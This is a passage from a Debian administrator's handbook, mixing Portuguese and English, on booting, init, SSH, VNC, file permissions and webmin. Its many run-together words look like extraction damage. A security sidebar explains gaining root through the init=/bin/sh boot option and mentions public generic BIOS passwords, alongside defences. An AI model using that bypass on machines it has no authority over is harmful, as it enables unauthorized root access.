8.11.2. Instalando comdpkgUsing apt-get is so convenient that itmakes it easy to forget about the lower-level tools, but the easiest way ofinstalling a compiled kernel is to use acommand such as dpkg -ipackage.deb, where package.deb isthe name of a linux-image packagesuch as linux-image-2.6.32-falcot_1_i386.deb.

The configuration steps described in

this chapter are basic and can lead bothto a server system or a workstation, andit can be massively duplicated in semi-automated ways. However, it is notenough by itself to provide a fullyconfigured system. A few pieces arestill in need of configuration, startingwith low-level programs known as the“Unix services”.

Chapter 9. ServiçosUnixEste capítulo abrange uma série deserviços básicos que são comuns amuitos sistemas Unix. Todos osadministradores devem estarfamiliarizados com eles.

9.1. Inicializaçãodo SistemaQuando você inicializar o computador,

algumas mensagens rolarão peloconsole automaticamente inicializandoe as configurações sãoautomaticamente executadas. Algumasvezes você pode desejar alterar comoeste estágio funciona, de forma quepossa entender isto muito bem. Este é opropósito desta seção.

Primeiro, a BIOS pega o controle sobreo computador, detectando discos,carregando a Master Boot Record, eexecuta o bootloader. O bootloaderassume, localiza o kernel no disco,carrega e o executa. O kernel é entãoinicializado e começa a pesquisa pelapartição e monta a partição contendo osistema raiz e finalmente o primeiro

programa — init. Frequentemente, esta"partição raiz" e este init são, de fato,localizado em um sistema de arquivosvirtual que só existe na RAM (daí o seunome, "initramfs", anteriormentechamado de "initrd" para "initializationRAM disk"). Este sistema de arquivosé carregado na memoria pelobootloader, muitas vezes a partir de umarquivo em um disco rígido ou da rede.Ele contém o mínimo exigido pelokernel para carregar o sistema dearquivos raiz "verdadeiro". Este podeser módulos de driver para o discorígido ou outros dispositivos sem oqual o sistema pode não carregar, ou,mais freqüentemente, scripts deinicialização e módulos para a

montagem de arrays RAID, abrindopartições criptografadas, ativandovolumes LVM, etc. Uma vez que apartição raiz é montada, o initramfslibera o controle para o init real, e amáquina voltará para o processo deboot padrão.

SPECIFIC CASE Inicializando pela rede

Em algumas configurações, o BIOS podeser configurado para não executar oMBR, mas buscar o seu equivalente narede, tornando possível a construção decomputadores sem disco rígido, ou quesão completamente reinstalado a cadaboot. Esta opção não está disponível emtodos os hardwares e geralmente requeruma combinação adequada de BIOS eplaca de rede.

A inicialização através da rede pode serusada para iniciar o debian-installer ouFAI (ver Section 4.1, “Métodos deInstalação”).

BACK TO BASICS Um processo, umainstância do programa

Um processo é a representação emmemória de um programa em execução.Isto inclui todas as informaçõesnecessárias para a execução adequada dosoftware (o código própriamente dito,mas também os dados que tem namemória, a lista de arquivos que ele abriu,as conexões de rede que estabeleceu,etc.). Um único programa pode serinstanciado em muitos processos, nãonecessáriamente rodando sob diferentesIDs de usuários.

Init executa vários processos, seguindoas instruções do arquivo/etc/inittab. O primeiro programaque é executado (o que corresponde àsysinit uma chamadasysvinit) é/etc/init.d/rcS , um script que executatodos os programas no nome doarquivo /etc/rcS.d / diretório.

Entre estes, você encontrarásucessivamente programasresponsáveis pela:

configurar o teclado do console;carregando drivers: a maioria dosmódulos do kernel serãocarregados por si assim que o

hardware seja detectado; driversextra então são carregadoautomaticamente quando omodulo correspondente sejalistado em /etc/modules;checar a integridade do sistema dearquivos;montar partições locais;configuração da rede;mountando sistemas de arquivosem rede (NFS).

SECURITY Usando Shell como init paraganhar privilégios de root

Por convenção, o primeiro processo que écarregado é o programa init. Contudo, épossível passar uma opção init para okernel indicando um programa diferente.

Qualquer pessoa que é capaz de acessar ocomputador e poder pressionar o botãoReset, e, portanto reinicia-lo . Então, noprompt do inicializador do sistema, épossível passar opção init=/bin/sh parao kernel e ganhar acesso root sem nosaber a senha de administrador.

Para evitar isso, você pode proteger obootloader com uma senha. Você tambémpode pensar em proteger o acesso aoBIOS (um mecanismo de proteção porsenha geralmente é disponível), sem queum intruso mal-intencionado ainda possainiciar a máquina por uma mídiaremovível que contém o seu própriosistema Linux, que pode então usar paraacessar dados sobre discos rígidos docomputador.

Finalmente, esteja ciente que a maioria

das BIOS tem uma senha genéricadisponível. Inicialmente destinado asolução de problemas para aqueles queesqueceram sua senha, essas senhas sãoagora público e disponível na Internet(veja por si mesmo procurando por"senhas genéricas" do BIOS em um motorde busca). Todas estas proteções deveráimpedir o acesso não autorizado para amáquina sem ser capaz de impedircompletamente. Não há nenhuma maneiraconfiável para proteger um computadorse o atacante pode acessar fisicamenteela, pois eles podem desmontar os discosrígidos para conectá-los a um computadorsob seu próprio controle de qualquermaneira, ou até mesmo roubar a máquinainteira, ou apagar a memória do BIOSpara redefinir a senha…

DE VOLTA AO BÁSICO Kernel modulesand options

Os módulos do kernel também tem opçõesque podem ser configuradas colocandoalguns arquivos em /etc/modprobe.d/ .Essas opções são definidas com asdiretivas como esta: opçõesnome domódulonome da opção=valor da opção .Várias opções podem ser especificadascom uma única diretiva, se necessário.

Estes arquivos de configuração sãodestinados para o modprobe - o programaque carrega um módulo do kernel comsuas dependências (módulos podemrealmente chamar outros módulos). Esteprograma é fornecido pelo pacotemodule-init-tools.

Após este estágio, o init assume ocontrole e inicializa os programashabilitados no nível de execuçãopadrão (que geralmente é no nível deexecução 2). O comando init executa o/etc/init.d/rc 2, um script que iniciatodos os serviços que estão listados em/etc/rc2.d/ e os quais tem o nomecom a letra inicial "S". O número deduas casas que se segue tinha sidohistoricamente utilizado para definir aordem em que os serviços teve de seriniciado. No Squeeze, o sistema deboot padrão usa insserv, o qual agendaautomaticamente tudo, baseado nasdependencias dos scripts. Desta forma,Cada script de inicialização declara ascondições que devem ser cumpridos

para iniciar ou parar o serviço (porexemplo, se ele deve começar antes oudepois de outro serviço); init emseguida, lança-os na ordem quesatisfaça estas condições. A numeraçãoestática dos scripts, portanto, não sãomais levados em consideração (maseles sempre devem ter um nomecomeçando por "S" seguido por doisdigitos e o nome atual do script usadopor suas dependências). Geralmente,serviços base (tal como registros com orsyslog, ou numeração de portas comportmap) são inicializados primeiro,seguidos por serviços padrões e ainterface gráfica (gdm).

Este sistema de inicialização baseado

em dependência torna possívelautomatizar a numeração, que poderiaser um pouco entediante se tivesse queser feito manualmente, e limita osriscos de erro humano, já que oagendamento é realizado de acordocom os parâmetros indicados. Outrobenefício é que os serviços podem seriniciados em paralelo quando sãoindependentes um do outro, que podeacelerar o processo de inicialização.

ALTERNATIVAS Outros sistemas deinicializações

This book describes the boot system usedby default in Debian (as implemented bysysvinit package), which is derived andinherited from System V Unix systems, but

there are others.

In the original System V, and in versionsof Debian up to Lenny, the executionorder of initialization scripts was definedonly by the names of the /etc/rc*.d/S*symbolic links (and /etc/rc*.d/K* uponshutdown). This behavior can be re-established by setting CONCURRENCY=nonein the /etc/default/rcS file.

file-rc is another boot system with a verysimple process. It keeps the principle ofrunlevels, but replaces the directories andsymbolic links with a configuration file,which indicates to init the processes thatmust be started and their launch order

The newly arrived upstart system is stillnot perfectly tested on Debian. It is eventbased: init scripts are no longer executedin a sequential order but in response to

events such as the completion of anotherscript upon which they are dependent.This system, started by Ubuntu, is presentin Debian Squeeze, but is not the default;it comes, in fact, as a replacement forsysvinit, and one of the tasks launched byupstart is to launch the scripts written fortraditional systems, especially those fromthe sysv-rc package.

Another new option is systemd, but it stilllacks the maturity needed to be part ofSqueeze. Its approach is opposite to theprevious systems; instead of preemptivelylaunching all services, and having to dealwith the question of scheduling, systemdchooses to start services on demand,somewhat along the principle of inetd.But this means that the boot system mustbe able to know how services are madeavailable (it could be through a socket, a

filesystem, or others), and thus requiressmall modifications of those services.

Existem também outros sistemas e outrosmodos de funcionamento, tais comorunit, minit, ou initng, mas eles sãorelativamente especializados e nãogeneralizada.

init distinguishes several runlevels, soit can switch from one to another withthe telinit new-level command.Immediately, init executes/etc/init.d/rc again with the newrunlevel. This script will then start themissing services and stop those that areno longer desired. To do this, it refersto the content of the /etc/rcX.d

(where X represents the new runlevel).Scripts starting with “S” (as in “Start”)are services to be started; those startingwith “K” (as in “Kill”) are the servicesto be stopped. The script does not startany service that was already active inthe previous runlevel.

Por padrão, o Debian usa quatrorunlevels diferentes:

Nível 0 é usada apenastemporariamente, enquanto ocomputador está desligando.Como tal, ele só contém muitosscripts de "K".Nível 1, também conhecido comomodo de usuário único,

corresponde ao sistema em mododegradado; inclui apenas osserviços básicos e destina-se paraoperações de manutenção ondeinterações com usuários comunsnão são desejadas.Nível 2 é o funcionamentonormal, o que inclui serviços derede, uma interface gráfica, logonsde usuário, etc.Nível 6 é semelhante ao nível 0,exceto que é utilizada durante afase de desligamento que precedeuma reinicialização.

Other levels exist, especially 3 to 5. Bydefault they are configured to operatethe same way as level 2, but the

administrator can modify them (byadding or deleting scripts in thecorresponding /etc/rcX.d directories)to adapt them to particular needs.

Figure 9.1. Seqüência de inicializaçãode um computador rodando Linux

All the scripts contained in the various/etc/rcX.d directories are really onlysymbolic links — created uponpackage installation by the update-rc.dprogram — pointing to the actual

scripts which are stored in/etc/init.d/. The administrator canfine tune the services available in eachrunlevel by re-running update-rc.dwith adjusted parameters. The update-rc.d(1) manual page describes thesyntax in detail. Please note thatremoving all symbolic links (with theremove parameter) is not a goodmethod to disable a service. Insteadyou should simply configure it to notstart in the desired runlevel (whilepreserving the corresponding calls tostop it in the event that the service runsin the previous runlevel). Sinceupdate-rc.d has a somewhatconvoluted interface, you may preferusing rcconf (from the rcconf package)

which provides a more user-friendlyinterface.

POLÍTICA DEBIAN Reiniciandoserviços

The maintainer scripts for Debianpackages will sometimes restart certainservices to ensure their availability or getthem to take certain options into account.The command that controls a service —/etc/init.d/service operation — doesn'ttake runlevel into consideration, assumes(wrongly) that the service is currentlybeing used, and may thus initiateincorrect operations (starting a servicethat was deliberately stopped, or stoppinga service that is already stopped, etc.).Debian therefore introduced the invoke-rc.d program: this program must be used

by maintainer scripts to run servicesinitialization scripts and it will onlyexecute the necessary commands. Notethat, contrary to common usage, the .dsuffix is used here in a program name,and not in a directory.

Finalmente, init começa a controlaprogramas para vários consoles virtuais(getty). Ele exibe um prompt,esperando por um nome de usuário, emseguida, executa o usuário login userpara iniciar uma sessão.

VOCABULÁRIO Console e terminal

Os primeiros computadores eramgeralmente separados em diversas, peças

muito grandes: o compartimento dearmazenamento e unidade central deprocessamento foram separados dosdispositivos periféricos usados pelosoperadores para controlá-los. Estes eramparte de uma mobília separada, o"console". Este termo foi mantido, masseu significado foi alterado. Tornou-semais ou menos sinônimo de "terminal",sendo um teclado e uma tela.

With the development of computers,operating systems have offered severalvirtual consoles to allow for severalindependent sessions at the same time,even if there is only one keyboard andscreen. Most GNU/Linux systems offersix virtual consoles (in text mode),accessible by typing the keycombinations Control+Alt+F1 throughControl+Alt+F6.

By extension, the terms “console” and“terminal” can also refer to a terminalemulator in a graphical X11 session (suchas xterm, gnome-terminal or konsole).

9.2. Login remotoIt is essential for an administrator to beable to connect to a computer remotely.Servers, confined in their own room,are rarely equipped with permanentkeyboards and monitors — but they areconnected to the network.

DE VOLTA AO BÁSICO Cliente,servidor

Um sistema onde vários processoscomunicarem é frequentemente descritocom a metáfora de "cliente/servidor". Oservidor é o programa que recebe assolicitações provenientes de um cliente eos executa. É o cliente que controla as

operações, o servidor não toma qualqueriniciativa própria.

9.2.1. Login remoto:telnetThe telnet protocol, the oldest remotelogin service, is the worst in terms ofsecurity. Data and passwords are sentin clear text — that is, not encrypted —leaving them vulnerable to anyonesnooping on the network. If necessary,take care to remove this obsoleteservice, that is no longer installed bydefault:

# apt-get remove telnetd

There is, however, an adaptation thatcorrects its most crippling defects; ituses SSL (Secure Socket Layer) toauthenticate the partner and encryptcommunications. The telnetd-ssl andtelnet-ssl packages provide,respectively, the server and clientsoftware.

VOCABULÁRIO Autenticação,criptografia

When you need to give a client the abilityto conduct or trigger actions on a server,security is important. You must ensure theidentity of the client; this isauthentication. This identity usually

consists of a password that must be keptsecret, or any other client could get thepassword. This is the purpose ofencryption, which is a form of encodingthat allows two systems to communicateconfidential information on a publicchannel while protecting it from beingreadable to others.

Autenticação e criptografia, muitas vezessão mencionados juntos, porque eles sãofreqüentemente usados em conjunto,tanto porque eles geralmente sãoimplementados com conceitosmatemáticos semelhantes.

9.2.2. Login remotoseguro: SSH

The SSH (Secure SHell) protocol,contrary to telnet, was designed withsecurity and reliability in mind.Connections using SSH are secure: thepartner is authenticated and all dataexchanges are encrypted.

CULTURA SSH comparado ao RSH

SSH tools provide secure variants of theprograms from the classic RSH (RemoteShell) family — rsh, rlogin, and rcp.These are still available in the rsh-serverand rsh-client packages, but their usage isstrongly discouraged.

SSH also offers two file transferservices. scp is a command line tool

that can be used like cp, except thatany path to another machine is prefixedwith the machine's name, followed by acolon.

$ scp file machine:/tmp/

sftp is an interactive command, similarto ftp. In a single session, sftp cantransfer several files, and it is possibleto manipulate remote files with it(delete, rename, change permissions,etc.).

Debian uses OpenSSH, a free versionof SSH maintained by the OpenBSDproject (a free operating system basedon the BSD kernel, focused onsecurity) and fork of the original SSH

software developed by the SSHCommunications Security Corpcompany, of Finland. This companyinitially developed SSH as freesoftware, but eventually decided tocontinue its development under aproprietary license. The OpenBSDproject then created OpenSSH tomaintain a free version of SSH.

DE VOLTA AO BÁSICO Fork

A “fork”, in the software field, means anew project that starts as a clone of anexisting project, and that will competewith it. From there on, both software willusually quickly diverge in terms of newdevelopments. A fork is often the result ofdisagreements within the development

team.

The option to fork a project is a directresult of the very nature of free software;a fork is a healthy event when it enablesthe continuation of a project as freesoftware (for example in case of licensechanges). A fork arising from technical orpersonal disagreements is often a waste ofhuman resources; another resolutionwould be preferable. Mergers of twoprojects that previously went through aprior fork are not unheard of.

Since Etch, OpenSSH is split into twopackages. The client part is in theopenssh-client package, and the serveris in the openssh-server package. Thessh meta-package depends on both

parts and facilitates installation of both(apt-get install ssh).

APROFUNDANDO Aceleração deHardware para SSH

Some hardware provides native supportof mathematical functions used byencryption, which can speed up therequired calculations, thus increasingperformance of some tools (andlightening the load on the mainprocessor). These tools notably includethe OpenSSL library, which is in turn usedby OpenSSH.

Although a project for standardization ofdrivers is underway (notably at the kernellevel), the variety of hardware is stillmanaged inequitably and

heterogeneously. For example, thePadlock system included in Via C3processors is only partially supported.While the Linux kernel does offer variousencryption algorithms, the OpenSSL 0.9.8library in Squeeze only handlesdelegation of AES encryption to thehardware dedicated to that purpose, butnot the SHA algorithms; you have torecompile it with a patch.

→ http://www.logix.cz/michal/devel/padlock/

9.2.2.1. AutenticaçãoBaseado em Chave

Each time someone logs in over SSH,the remote server asks for a password

to authenticate the user. This can beproblematic if you want to automate aconnection, or if you use a tool thatrequires frequent connections overSSH. This is why SSH offers a key-based authentication system.

The user generates a key pair on theclient machine with ssh-keygen -t rsa;the public key is stored in~/.ssh/id_rsa.pub, while thecorresponding private key is stored in~/.ssh/id_rsa. The user then usesssh-copy-id server to add their publickey to the ~/.ssh/authorized_keysfile on the server. If the private keywas not protected with a “passphrase”at the time of its creation, all

subsequent logins on the server willwork without a password. Otherwise,the private key must be decrypted eachtime by entering the passphrase.Fortunately, ssh-agent allows us tokeep private keys in memory to nothave to regularly re-enter the password.For this, you simply use ssh-add (onceper work session) provided that thesession is already associated with afunctional instance of ssh-agent.Debian activates it by default ingraphical sessions, but this can bedeactivated by changing/etc/X11/Xsession.options. For aconsole session, you can manually startit with eval $(ssh-agent).

SEGURANÇA Proteção da chaveprivada

Whoever has the private key can login onthe account thus configured. This is whyaccess to the private key is protected by a“passphrase”. Someone who acquires acopy of a private key file (for example,~/.ssh/id_rsa) still has to know thisphrase in order to be able to use it. Thisadditional protection is not, however,impregnable, and if you think that this filehas been compromised, it is best todisable that key on the computers inwhich it has been installed (by removingit from the authorized_keys files) andreplacing it with a newly generated key.

CULTURA Falha do OpenSSL no Debian

Etch

The OpenSSL library, as initiallyprovided in Debian Etch, had a seriousproblem in its random number generator(RNG). Indeed, the Debian maintainer hadmade a change in order for the library tonot be the source of warnings forprograms using it and that would beanalyzed by memory testing tools likevalgrind. Unfortunately, this change alsomeant that the RNG was employing onlyone source of entropy corresponding tothe process number (PID) whose 32,000possible values do not offer enoughrandomness.

→ http://www.debian.org/security/2008/dsa-1571

Specifically, whenever OpenSSL wasused to generate a key, it always

produced a key within a known set ofhundreds of thousands of keys (32,000multiplied by a small number of keylengths). This affected SSH keys, SSLkeys, and X.509 certificates used bynumerous applications, such asOpenVPN. A cracker had only to try all ofthe keys to gain unauthorized access. Toreduce the impact of the problem, the SSHdaemon was modified to refuseproblematic keys that are listed in theopenssh-blacklist and openssh-blacklist-extra packages. Additionally, the ssh-vulnkey command allows identificationof possibly compromised keys in thesystem.

A more thorough analysis of this incidentbrings to light that it is the result ofmultiple (small) problems, both at theOpenSSL project, as well as with the

Debian package maintainer. A widelyused library like OpenSSL should —without modifications — not generatewarnings when tested by valgrind.Furthermore, the code (especially theparts as sensitive as the RNG) should bebetter commented to prevent such errors.The Debian maintainer, for his part,wanting to validate his modifications withthe OpenSSL developers, simplyexplained his modifications withoutproviding them the corresponding patchto review. He also did not clearly identifyhimself as the maintainer of thecorresponding Debian package. Finally,in his maintenance choices, themaintainer did not clearly document thechanges made to the original code; all themodifications are effectively stored in aSubversion repository, but they ended upall lumped into one single patch during

creation of the source package.

It is difficult under such conditions tofind the corrective measures to preventsuch incidents from recurring. The lessonto be learned here is that everydivergence Debian introduces toupstream software must be justified,documented, submitted to the upstreamproject when possible, and widelypublicized. It is from this perspective thatthe new source package format (“3.0(quilt)”) and the Debian patch trackerwere developed.

→ http://patch-tracker.debian.org

9.2.2.2. Usando AplicaçõesX11 Remotamente

The SSH protocol allows forwarding ofgraphical data (“X11” session, from thename of the most widespread graphicalsystem in Unix); the server then keepsa dedicated channel for those data.Specifically, a graphical programexecuted remotely can be displayed onthe X.org server of the local screen,and the whole session (input anddisplay) will be secure. Since thisfeature allows remote applications tointerfere with the local system, it isdisabled by default. You can enable itby specifying X11Forwarding yes inthe server configuration file(/etc/ssh/sshd_config). Finally, theuser must also request it by adding the-X option to the ssh command-line.

9.2.2.3. Criando TúneisCriptografados comEncaminhamento de Porta

Its -R and -L options allow ssh tocreate “encrypted tunnels” between twomachines, securely forwarding a localTCP port (see sidebar DE VOLTA AOBÁSICO TCP/UDP) to a remotemachine or vice versa.

VOCABULÁRIO Túnel

The Internet, and most LANs that areconnected to it, operate in packet modeand not in connected mode, meaning thata packet issued from one computer toanother is going to be stopped at several

intermediary routers to find its way to itsdestination. You can still simulate aconnected operation where the stream isencapsulated in normal IP packets. Thesepackets follow their usual route, but thestream is reconstructed unchanged at thedestination. We call this a “tunnel”,analogous to a road tunnel in whichvehicles drive directly from the entrance(input) to the exit (output) withoutencountering any intersections, asopposed to a path on the surface thatwould involve intersections and changingdirection.

You can use this opportunity to addencryption to the tunnel: the stream thatflows through it is then unrecognizablefrom the outside, but it is returned indecrypted form at the exit of the tunnel.

ssh -L 8000:server:25 intermediaryestablishes an SSH session with theintermediary host and listens to localport 8000 (see Figure 9.2,“Encaminhando uma porta local comSSH”). For any connection establishedon this port, ssh will initiate aconnection from the intermediarycomputer to port 25 on the server, andwill bind both connections together.

ssh -R 8000:server:25 intermediaryalso establishes an SSH session to theintermediary computer, but it is onthis machine that ssh listens to port8000 (see Figure 9.3, “Encaminhandouma porta remota com SSH”). Anyconnection established on this port will

cause ssh to open a connection fromthe local machine on to port 25 of theserver, and to bind both connectionstogether.

In both cases, connections are made toport 25 on the server host, which passthrough the SSH tunnel establishedbetween the local machine and theintermediary machine. In the firstcase, the entrance to the tunnel is localport 8000, and the data move towardsthe intermediary machine beforebeing directed to the server on the“public” network. In the second case,the input and output in the tunnel arereversed; the entrance is port 8000 onthe intermediary machine, the output

is on the local host, and the data arethen directed to the server. Inpractice, the server is usually either thelocal machine or the intermediary. Thatway SSH secures the connection fromone end to the other.

Figure 9.2. Encaminhando uma portalocal com SSH

Figure 9.3. Encaminhando uma portaremota com SSH

9.2.3. Usando

Ambientes GráficosRemotamenteVNC (Virtual Network Computing)allows remote access to graphicaldesktops.

This tool is mostly used for technicalassistance; the administrator can seethe errors that the user is facing, andshow them the correct course of actionwithout having to stand by them.

First, the user must authorize sharingtheir session. The GNOME and KDEgraphical desktop environmentsinclude, respectively, vino and krfb,

which provide a graphical interfacethat allows sharing an existing sessionover VNC (found, respectively, in themenus at System → Preferences →Remote Desktop and K → Internet →Desktop Sharing). For other graphicaldesktop environments, the x11vnccommand (from the Debian package ofthe same name) serves the samepurpose; you can make it available tothe user with an explicit icon.

When the graphical session is madeavailable by VNC, the administratormust connect to it with a VNC client.GNOME has vinagre and tsclient forthat, while KDE includes krdc (in themenu at K → Internet → Remote

Desktop Client). There are other VNCclients that use the command line, suchas xvnc4viewer in the Debian packageof the same name. Once connected, theadministrator can see what's going on,work on the machine remotely, andshow the user how to proceed.

SEGURANÇA VNC sobre SSH

If you want to connect by VNC, and youdon't want your data sent in clear text onthe network, it is possible to encapsulatethe data in an SSH tunnel (seeSection 9.2.2.3, “Criando TúneisCriptografados com Encaminhamento dePorta”). You simply have to know thatVNC uses port 5900 by default for thefirst screen (called “localhost:0”), 5901for the second (called “localhost:1”), etc.

The ssh -Llocalhost:5901:localhost:5900 -N -Tmachine command creates a tunnelbetween local port 5901 in the localhostinterface and port 5900 of the machinehost. The first “localhost” restricts SSH tolistening to only that interface on thelocal machine. The second “localhost”indicates the interface on the remotemachine which will receive the networktraffic entering in “localhost:5901”. Thusvncviewer localhost:1 will connect theVNC client to the remote screen, eventhough you indicate the name of the localmachine.

Quando uma sessão VNC é fechada,lembre-se de fechar o túnel por tambémsaindo da sessão SSH correspondente.

BACK TO BASICS Display manager

gdm, kdm and xdm are DisplayManagers. They take control of thegraphical interface shortly after boot inorder to provide the user a login screen.Once the user has logged in, they executethe programs needed to start a graphicalwork session.

VNC also works for mobile users, orcompany executives, who occasionallyneed to login from their home to accessa remote desktop similar to the onethey use at work. The configuration ofsuch a service is more complicated:you first install the vnc4serverpackage, change the configuration of

the display manager to accept XDMCPQuery requests (for gdm, this can bedone graphically via the System →Administration → Login Screen menuand then the “Remote” tab; note thatthis applies only to gdm and not gdm3,which is the version installed bydefault in Squeeze), and finally, startthe VNC server with inetd so that asession is automatically started when auser tries to login. For example, youmay add this line to /etc/inetd.conf:

5950 stream tcp nowait nobody.tty /usr/bin/Xvnc Xvnc -inetd -query localhost -once -geometry 1024x768 -depth 16 securitytypes=none

Redirecting incoming connections tothe display manager solves the problemof authentication, because only userswith local accounts will pass the gdm

login screen (or equivalent kdm, xdm,etc.). As this operation allows multiplesimultaneous logins without anyproblem (provided the server ispowerful enough), it can even be usedto provide complete desktops formobile users (or for less powerfuldesktop systems, configured as thinclients). Users simply login to theserver's screen with vncviewerserver:50, because the port used is5950.

9.3. GerenciandoDireitosLinux is definitely a multi-user system,so it is necessary to provide apermission system to control the set ofauthorized operations on files anddirectories, which includes all thesystem resources and devices (on aUnix system, any device is representedby a file or directory). This principle iscommon to all Unix systems, but areminder is always useful, especially asthere are some interesting andrelatively unknown advanced uses.

Cada arquivo ou diretório têmpermissões específicas para trêscategorias de usuários:

its owner (symbolized by u as in“user”);o dono do grupo (simbolizado porg como em “group”),representando todos os membrosdo grupo;os outros (simbolizado por o comoem “other”).

Os três tipos de direitos podem sercombinados:

leitura (simbolizado por r comoem “read”);escrita (ou modificação,

simbolizado por w como em“write”);executar (simbolizado por x comoem “eXecute”).

In the case of a file, these rights areeasily understood: read access allowsreading the content (includingcopying), write access allows changingit, and execute access allows you to runit (which will only work if it's aprogram).

SEGURANÇA executáveis setuid esetgid

Two particular rights are relevant toexecutable files: setuid and setgid(symbolized with the letter “s”). Note that

we frequently speak of “bit”, since eachof these boolean values can berepresented by a 0 or a 1. These two rightsallow any user to execute the programwith the rights of the owner or the group,respectively. This mechanism grantsaccess to features requiring higher levelpermissions than those you would usuallyhave.

Since a setuid root program issystematically run under the super-useridentity, it is very important to ensure it issecure and reliable. Indeed, a user whowould manage to subvert it to call acommand of their choice could thenimpersonate the root user and have allrights on the system.

A directory is handled differently.

Read access gives the right to consultthe list of its entries (files anddirectories), write access allowscreating or deleting files, and executeaccess allows crossing through it(especially to go there with the cdcommand). Being able to cross througha directory without being able to read itgives permission to access the entriestherein that are known by name, but notto find them if you do not know thatthey exist or under what name.

SECURITY setgid directory and stickybit

The setgid bit also applies to directories.Any newly-created item in suchdirectories is automatically assigned the

owner group of the parent directory,instead of inheriting the creator's maingroup as usual. This setup avoids the userhaving to change its main group (with thenewgrp command) when working in a filetree shared between several users of thesame dedicated group.

The “sticky” bit (symbolized by the letter“t”) is a permission that is only useful indirectories. It is especially used fortemporary directories where everybodyhas write access (such as /tmp/): itrestricts deletion of files so that only theirowner (or the owner of the parentdirectory) can do it. Lacking this,everyone could delete other users' files in/tmp/.

Três comandos controlam as

permissões associadas a um arquivo:

chown user file changes theowner of the file;chgrp group file alters theowner group;chmod rights file changes thepermissions for the file.

There are two ways of presentingrights. Among them, the symbolicrepresentation is probably the easiest tounderstand and remember. It involvesthe letter symbols mentioned above.You can define rights for each categoryof users (u/g/o), by setting themexplicitly (with =), by adding (+), orsubtracting (-). Thus the

u=rwx,g+rw,o-r formula gives theowner read, write, and execute rights,adds read and write rights for theowner group, and removes read rightsfor other users. Rights not altered bythe addition or subtraction in such acommand remain unmodified. Theletter a, for “all”, covers all threecategories of users, so that a=rx grantsall three categories the same rights(read and execute, but not write).

The (octal) numeric representationassociates each right with a value: 4 forread, 2 for write, and 1 for execute. Weassociate each combination of rightswith the sum of the figures. Each valueis then assigned to different categories

of users by putting them end to end inthe usual order (owner, group, others).

For instance, the chmod 754 filecommand will set the following rights:read, write and execute for the owner(since 7 = 4 + 2 + 1); read and executefor the group (since 5 = 4 + 1); read-only for others. The 0 means no rights;thus chmod 600 file allows forread/write rights for the owner, and norights for anyone else. The mostfrequent right combinations are 755 forexecutable files and directories, and644 for data files.

To represent special rights, you canprefix a fourth digit to this number

according to the same principle, wherethe setuid, setgid and sticky bitsare 4, 2 and 1, respectively. chmod4754 will associate the setuid bit withthe previously described rights.

Note that the use of octal notation onlyallows to set all the rights at once on afile; you can not use it to simply add anew right, such as read access for thegroup owner, since you must take intoaccount the existing rights andcompute the new correspondingnumerical value.

DICA Operação recursiva

Sometimes we have to change rights foran entire file tree. All the commands

above have a -R option to operaterecursively in sub-directories.

The distinction between directories andfiles sometimes causes problems withrecursive operations. That's why the “X”letter has been introduced in the symbolicrepresentation of rights. It represents aright to execute which applies only todirectories (and not to files lacking thisright). Thus, chmod -R a+X directorywill only add execute rights for allcategories of users (a) for all of the sub-directories and files for which at least onecategory of user (even if their sole owner)already has execute rights.

DICA Alterando o usuário e o grupo

Frequently you want to change the group

of a file at the same time that you changethe owner. The chown command has aspecial syntax for that: chown user:group

APROFUNDANDO umask

When an application creates a file, itassigns indicative permissions, knowingthat the system automatically removescertain rights, given by the commandumask. Enter umask in a shell; you willsee a mask such as 0022. This is simply anoctal representation of the rights to besystematically removed (in this case, thewrite right for the group and other users).

If you give it a new octal value, theumask command modifies the mask. Usedin a shell initialization file (for example,~/.bash_profile), it will effectively

change the default mask for your worksessions.

9.4. InterfacesAdministrativasUsing a graphical interface foradministration is interesting in variouscircumstances. An administrator doesnot necessarily know all theconfiguration details for all theirservices, and doesn't always have thetime to go seeking out thedocumentation on the matter. Agraphical interface for administrationcan thus accelerate the deployment of anew service. It can also simplify thesetup of services which are hard toconfigure.

Such an interface is only an aid, andnot an end in itself. In all cases, theadministrator must master its behaviorin order to understand and work aroundany potential problem.

Since no interface is perfect, you maybe tempted to try several solutions.This is to be avoided as much aspossible, since different tools aresometimes incompatible in their workmethods. Even if they all target to bevery flexible and try to adopt theconfiguration file as a single reference,they are not always able to integrateexternal changes.

9.4.1. Administrando

Por uma InterfaceWeb: webminThis is, without a doubt, one of themost successful administrationinterfaces. It is a modular systemmanaged through a web browser,covering a wide array of areas andtools. Furthermore, it isinternationalized and available in manylanguages.

Sadly, webmin is no longer part ofDebian since Etch. Its Debianmaintainer — Jaldhar H. Vyas —removed the packages he createdbecause he no longer had the time

required to maintain them at anacceptable quality level. Nobody hasofficially taken over, so Squeeze doesnot have the webmin package.

There is, however, an unofficialpackage distributed on the webmin.comwebsite. Contrary to the packagesincluded in Sarge, this package ismonolithic; all of its configurationmodules are installed and activated bydefault, even if the correspondingservice is not installed on the machine.

SEGURANÇA Alterando a senha do root

On first login, identification is conducedwith the root username and its usualpassword. It is recommended to change

the password used for webmin as soon aspossible, so that if it is compromised, theroot password for the server will not beinvolved, even if this confers importantadministrative rights to the machine.

Beware! Since webmin has so manyfeatures, a malicious user accessing itcould compromise the security of theentire system. In general, interfaces ofthis kind are not recommended forimportant systems with strong securityconstraints (firewall, sensitive servers,etc.).

Webmin is used through a webinterface, but it does not requireApache to be installed. Essentially, thissoftware has its own integrated mini

web server. This server listens bydefault on port 10000 and acceptssecure HTTP connections.

Módulos inclusos cobrem uma grandevariedade de serviços, entre eles:

all base services: creation of usersand groups, management ofcrontab files, init scripts, viewingof logs, etc.bind: configuração de servidorDNS (nome de serviço);postfix: configuração de servidorSMTP (e-mail);inetd: configuração do superservidor inetd;quota: gerenciamento de cota de

usuário;dhcpd: configuração do servidorDHCP;proftpd: configuração do servidorFTP;samba: configuração do servidorde arquivos Samba;software: instalação ou remoçãode programas dos pacotes Debiane atualizações de sistema.

The administration interface isavailable in a web browser athttps://localhost:10000. Beware!Not all the modules are directly usable.Sometimes they must be configured byspecifying the locations of thecorresponding configuration files and

some executable files (program).Frequently the system will politelyprompt you when it fails to activate arequested module.

ALTERNATIVA gnome-system-tools

The GNOME project also provides agraphical administration interface in thegnome-system-tools package. Installed bydefault for a desktop system, it includesapplications that can be found in themenu at System → Administration. Easyto use, these applications cover only alimited number of base services: user andgroup management, time configuration,network configuration, disk management,and management of startup services.

9.4.2. ConfigurandoPacotes: debconfMany packages are automaticallyconfigured after asking a few questionsduring installation through the Debconftool. These packages can bereconfigured by running dpkg-reconfigure package.

